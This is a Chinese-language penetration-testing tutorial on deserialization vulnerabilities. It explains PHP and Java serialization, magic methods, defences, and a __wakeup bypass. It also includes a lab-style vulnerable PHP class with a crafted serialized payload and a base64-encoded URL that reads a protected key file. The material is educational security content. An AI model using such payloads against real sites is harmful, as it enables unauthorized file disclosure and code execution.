渗透测试-18:反序列化漏洞
序列化/反序列化
- 序列化:将对象转为字节流,目的是方便对象在内存、文件、数据库或者网络之间的传递
- 反序列化:序列化的逆过程,即将字节流转为对象的过程
序列化技术的用途
• 经由电信线路传输资料(通信)
• 存储资料(存在数据库或硬盘)
• 远程程序调用
• 检测随时间资料的变动
漏洞原理
- 原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果
- 反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
漏洞危害
- 不安全的反序列化,主要造成的危害是远程代码执行
- 如果无法远程代码执行,也可能导致权限提升、任意文件读取、拒绝服务攻击等
防御方式
- 应该尽量避免用户输入反序列化的参数
- 如果确实需要对不受信任的数据源进行反序列化,需要确保数据未被篡改,比如使用数字签名来检查数据的完整性
- 严格控制反序列化相关函数的参数,坚持用户所输入的信息都是不可靠的原则
- 对于反序列化后的变量内容进行检查,以确定内容没有被污染
- 做好代码审计相关工作,提高开发人员的安全意识
PHP反序列化
- PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果
- 相关函数:
serialize()
、unserialize()
对象转为字符序列
常见的表示类型的字符
O:类
a:数组(array)
b:boolean
i:整型
s:字符串
N:NULL
d:double,浮点型
访问控制符:public/protected/private
<?php
header("content-type:text/html;charset=utf-8;");
class People
{
public $name = "张三";
protected $age = 18;
private $money = 100.5;
public function __construct($name, $age, $money)
{
$this->name = $name;
$this->age = $age;
$this->money = $money;
}
public function hello()
{
echo "My name is $this->name ,my age is $this->age ! ";
echo "I have $this->money RMB!";
}
}
$obj = new People("李四", 20, 175.5);
echo serialize($obj);
// O:6:"People":3:{s:4:"name";s:6:"李四";s:6:"*age";i:20;s:13:"Peoplemoney";d:175.5;}
$str = 'O:6:"People":3:{s:4:"name";s:6:"王五";S:6:"\00*\00age";i:22;S:13:"\00People\00money";d:180.5;}';
$obj = unserialize($str);
$obj->hello();
// My name is 王五 ,my age is 22 !
// I have 180.5 RMB!
魔术方法
魔术方法 | 作用 |
---|---|
__construct() | 当一个对象创建时被调用 |
__destruct() | 当一个对象销毁时被调用 |
__toString() | 当一个对象当作一个字符串使用时调用 |
__sleep() | 当对象被序列化之前调用 |
__wakeup() | 当对象被反序列化之后被调用 |
__call() | 当对象调用某个不存在的方法时调用 |
__get() | 当读取一个不存在的属性值时调用 |
__set() | 当给一个不存在的属性复制时调用 |
__clone() | 当克隆对象时调用 |
__isset() | 当检测一个对象的属性是否存在时调用 |
__unset() | 删除一个对象时调用 |
__set_state() | 调用var_export时调用 |
绕过方式
- 当
属性
个数大于实际个数的时候,会绕过__wakeup
方法 protected
类型属性要使用\00
代替空,并且小s
变大S
<?php
error_reporting(0);
class SoFun
{
protected $file = 'show_code.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
if (!empty($this->file)) {
if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false)
show_source(dirname(__FILE__) . '/' . $this->file);
else
die('Wrong filename.');
}
}
function __wakeup()
{
$this->file = 'show_code.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file'])) {
show_source('show_code.php');
} else {
$file = base64_decode($_GET['file']);
echo unserialize($file);
}
?>
<!--key in key.php-->
payload
// O:5:"SoFun":2:{S:7:"\00*\00file";s:7:"key.php";}
show_code.php?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiJrZXkucGhwIjt9
Typecho反序列化
Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,Typecho漏洞发生在网站的install.php文件
利用链
JAVA反序列化
- Java框架:Spring MVC、MyBatis、Dubbo、Maven、RabbitMQ、Redis、Shiro、Log4J
- Java中间件:Apache、Tomcat、Struts、WebLogic、JBoss
• Java序列化就是指把Java对象转换为字节序列的过程,Java反序列化就是指把字节序列恢复为Java对象的过程
• 序列化的作用:在传递和保存对象时,保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中
• 反序列化的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象
用途
• 将对象转为字节流存储到硬盘上,当JVM停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象,并且序列化的二进制序列能够减少存储空间(永久性保存对象)。
• 序列化成字节流形式的对象可以进行网络传输(二进制形式),方便了网络传输
• 通过序列化可以在进程间传递对象
• 序列化:Java序列化是指把java的对象转化为字节序列的一个过程,便于储存
• ObjectOutputStream类的writeObject()方法可以实现序列化
• 反序列化:就是把字符序列恢复为java对象的的过程
• ObjectInputStream类的readObject()用于反序列化
• 序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
序列化技术对比
维度 | Java序列化 | JSON | Thrift | ProtoBuf | Avro |
---|---|---|---|---|---|
跨语言 | 否 | 是 | 是 | 是 | 是 |
协议可读性 | Java代码,无协议 | 好,易于理解 | 较好 | 较好 | 较好 |
数据类型 | 任意对象 | 任意类型,不支持union | 任意类型,支持union | 任意类型,支持union | 任意类型,支持union |
开发成本 | 直接使用 | 引入JSON库 | 安装Thrift工具,引入Thrift库 | 安装protoc工具,引入ProtoBuf库 | 引入Avro库 |
Jboss简介
• Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
• JBoss应用服务器还具有许多优秀的特质。JBoss运行后后台管理界面
• 其一,将具有革命性的JMX微内核服务作为其总线结构;
• 其二,本身就是面向服务架构(Service-Oriented Architecture);
• 其三,具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。